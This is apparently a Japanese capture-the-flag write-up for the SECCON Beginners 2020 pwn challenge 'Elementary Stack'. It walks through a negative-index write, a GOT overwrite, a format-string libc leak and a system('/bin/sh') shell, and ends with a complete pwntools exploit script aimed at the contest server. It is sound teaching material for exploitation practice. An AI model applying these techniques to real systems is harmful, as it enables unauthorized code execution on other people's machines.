CTF4b 2020 [Pwn]Elementary Stack write up

2020/5/23-24 に開催されたCTF4bの問題のwrite upです。
競技時間中には解けませんでしたが、終了後ほかの方のwrite upを参考に解いたので
自分なりに解説してみます。

#問題
以下の3つのファイルが提示されました。

- main.c
- chall
- libc-2.27.so

main.cがchall のソースとなります。

```c:main.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define X_NUMBER 8

__attribute__((constructor))
void setup(void) {
  setbuf(stdout, NULL);
  alarm(30);
}

__attribute__((noreturn))
void fatal(const char *msg) {
  printf("[FATAL] %s\n", msg);
  exit(0);
}

long readlong(const char *msg, char *buf, int size) {
  printf("%s", msg);

  if (read(0, buf, size) <= 0)
    fatal("I/O error");
  buf[size - 1] = 0;

  return atol(buf);
}

int main(void) {
  int i;
  long v;
  char *buffer;
  unsigned long x[X_NUMBER];

  if ((buffer = malloc(0x20)) == NULL)
    fatal("Memory error");

  while(1) {
    i = (int)readlong("index: ", buffer, 0x20);
    v = readlong("value: ", buffer, 0x20);

    printf("x[%d] = %ld\n", i, v);
    x[i] = v;
  }
  return 0;
}
```

challが問題のバイナリです。

```sh:fileコマンド
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=45469fbd0171dfcb88941826eb4b7bf998f198e9, not stripped
```
```sh:checksec
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   71 Symbols     No0		2	chall
```
問題サーバーはASLR有効な状態でした。

# 解法
以下の方針で解きます。
1. bufferにmallocのgotアドレスを入れる
2. read関数を使いmalloc gotアドレス経由でatolのgotアドレスにprintf@pltのアドレスを入れる
3. printf関数へFSBを仕掛けて__libc_start_mainのアドレスをリークさせる
4. リークアドレスからlibc内のsystem関数のアドレスを計算する
5. read関数を使いatolのgotアドレスにsystemのアドレスを上書きしshellを呼び出す

pythonでpwnライブラリを使って解きました。

```python
from pwn import *
context(os = "linux", arch = "amd64")
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
```
### bufferにmallocのgotアドレスを入れる
bufferのアドレスが**[rbp-0x50]**
x[0]のアドレスが**[rbp-0x40]**
であるのでindexに**-2**を入力すれば、bufferのアドレスが上書きできることが分かります。

```
000000000040079e <main>:
  ...
  4007ab:	e8 10 fe ff ff       	call   4005c0 <malloc@plt>
  4007b0:	48 89 45 b0          	mov    QWORD PTR [rbp-0x50],rax
  ...
  4007da:	e8 4b ff ff ff       	call   40072a <readlong>        # indexの入力
  4007df:	89 45 ac             	mov    DWORD PTR [rbp-0x54],eax
  ...
  4007f5:	e8 30 ff ff ff       	call   40072a <readlong>        # valueの入力
  4007fa:	48 89 45 b8          	mov    QWORD PTR [rbp-0x48],r
ax
  ...
  400813:	e8 78 fd ff ff       	call   400590 <printf@plt>
  400818:	48 8b 55 b8          	mov    rdx,QWORD PTR [rbp-0x48]
  40081c:	8b 45 ac             	mov    eax,DWORD PTR [rbp-0x54]
  40081f:	48 98                	cdqe   
  400821:	48 89 54 c5 c0       	mov    QWORD PTR [rbp+rax*8-0x40],rdx  # x[i] = v
  ...
```
atol関数をgot overwriteしたいのですがbufferに直接atolのgotアドレスを入れると、次にreadlong関数が呼ばれたときに再度overwirteされてしまいます。なのでgotアドレスがひとつ前のmallocのgotアドレスを入れることでこれを回避します。

```python
conn.sendafter("index: ", "-2")
conn.sendafter("value: ", str(elf.got["malloc"]))
```
### read関数を使い、malloc gotアドレス経由でatolのgotアドレスにprintf@pltのアドレスを入れる
2回目のindex入力時点でbufferがmalloc gotアドレスを指しているのでパディング8byteの後にprintf@pltのアドレスを入力します。

```
         --------------------
0x601038 | 4141414141414141 | <- malloc got (buffer)
         --------------------
0x601040 | 9005400000000000 | <- atol got
         --------------------
```

```python
conn.sendafter("index: ", b"A" * 8 + p64(elf.plt["printf"]))
```
### printf関数へFSBを仕掛けて__libc_start_main のアドレスをリークさせる
atol関数をprintf関数でoverwriteできたのでダイレクトパラメータを使い__libc_start_mainへのリターンアドレスをリークさせます。

```python
conn.sendafter("value: ", "%25$p")
```

###リークアドレスからlibc内のsystem関数のアドレスを計算する
リークした__libc_start_mainのリターンアドレスは関数の先頭のアドレスではないのでオフセット分(ここでは231)調整します。

```
gdb-peda$ bt
#0  0x00000000004007a2 in main ()
#1  0x00007ffff7a05b97 in __libc_start_main (main=0x40079e <main>, argc=0x1, 
    argv=0x7fffffffdfd8, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdfc8) at ../csu/libc-start.c:310
#2  0x000000000040061a in _start ()
gdb-peda$ x/4i 0x7ffff7a05b97
   0x7ffff7a05b97 <__libc_start_main+231>:	mov    edi,eax
   0x7ffff7a05b99 <__libc_start_main+233>:	call   0x7ffff7a27120 <__GI_exit>
   0x7ffff7a05b9e <__libc_start_main+238>:	
    mov    rax,QWORD PTR [rip+0x3ced23]        # 0x7ffff7dd48c8 <__libc_pthread_functions+392>
   0x7ffff7a05ba5 <__libc_start_main+245>:	ror    rax,0x11
```

```python
lib_main_start_str = conn.recv(14)
lib_main_start_addr = int(str(lib_main_start_str, "utf-8"), 16)
libc_base = lib_main_start_addr - libc.symbols["__libc_start_main"] - 231
system_addr = libc_base + libc.symbols["system"]
```
### read関数を使いatolのgotアドレスにsystemのアドレスを上書きしshellを呼び出す
計算したアドレスをatol gotに上書きすることでsystemを呼び出します。
bufferを引数にsystemが呼ばれるため、最初の8byteに"/bin/sh"の文字列を入れることでsystem("/bin/sh")を実行できます。

```python
conn.sendafter("index: ", b"/bin/sh\0" + p64(system_addr))
```
あとは"cat flat.txt"でflagを取得します。

全体のソースは次の通りになります。

```python:exploit.py
from pwn import *

def exploit():
    context(os = "linux", arch = "amd64")
    elf = ELF("./chall")
    libc = ELF("./libc-2.27.so")

    conn = remote("es.quals.beginners.seccon.jp", 9003)

    conn.sendafter("index: ", "-2")
    conn.sendafter("value: ", str(elf.got["malloc"]))

    conn.sendafter("index: ", b"A" * 8 + p64(elf.plt["printf"]))
    conn.sendafter("value: ", "%25$p")

    lib_main_start_str = conn.recv(14)
    lib_main_start_addr = int(str(lib_main_start_str, "utf-8"), 16)
    libc_base = lib_main_start_addr - libc.symbols["__libc_start_main"] - 231
    system_addr = libc_base + libc.symbols["system"]
    conn.sendafter("index: ", b"/bin/sh\0" + p64(system_addr))
    
    conn.interactive()
    

if __name__ == "__main__":
    exploit()
```

#参考URL
https://ptr-yudai.hatenablog.com/entry/2020/05/24/174914#Pwn-429pts-Elementary-Stack-18-solves
https://qiita.com/kusano_k/items/501b6e2cc73c194cc4f2#elementary-stack